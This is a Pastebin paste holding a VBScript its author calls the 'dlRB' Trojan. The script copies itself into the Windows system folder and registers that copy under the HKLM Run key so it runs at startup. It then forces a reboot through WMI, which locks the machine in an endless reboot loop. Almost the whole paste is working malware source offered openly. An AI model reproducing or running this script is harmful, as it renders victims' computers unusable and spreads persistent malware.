Guest User

Untitled

a guest
Dec 3rd, 2016
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.61 KB | None | 0 0
  1. rem - dlRB "DL Reboot" Trojan script by D.L
  2. On Error Resume Next
  3. dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData
  4. set FSobj=CreateObject("Scripting.FileSystemObject")
  5. set sysDir = FSobj.GetSpecialFolder(1)
  6. createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"
  7. sub createRegKey(regKey,regVal)
  8. set regEdit = CreateObject("WScript.Shell")
  9. regEdit.RegWrite regKey,regVal
  10. end sub
  11. set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
  12. generateCopy.close
  13. set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
  14. setFile()
  15. fixedCode=replace(fileData,chr(94),"""")
  16. set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
  17. procreateCopy.write fixedCode
  18. procreateCopy.close
  19. rebootSystem()
  20. function setFile()
  21. fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
  22. "strComputer = ^.^ " &vbcrlf& _
  23. "Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
  24. "& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^
  25. oot\cimv2^)" &vbcrlf& _
  26. "Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
  27. "(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
  28. "For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
  29. "ObjOperatingSystem.Reboot()" &vbcrlf& _
  30. "Next"
  31. end function
  32. function rebootSystem()
  33. strComputer = "."
  34. Set objWMIService = GetObject("winmgmts:" _
  35. & "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "
  36. oot\cimv2")
  37. Set colOperatingSystems = objWMIService.ExecQuery _
  38. ("Select * from Win32_OperatingSystem")
  39. For Each objOperatingSystem in colOperatingSystems
  40. ObjOperatingSystem.Reboot()
  41. Next
  42. end function
Add Comment
Please, Sign In to add comment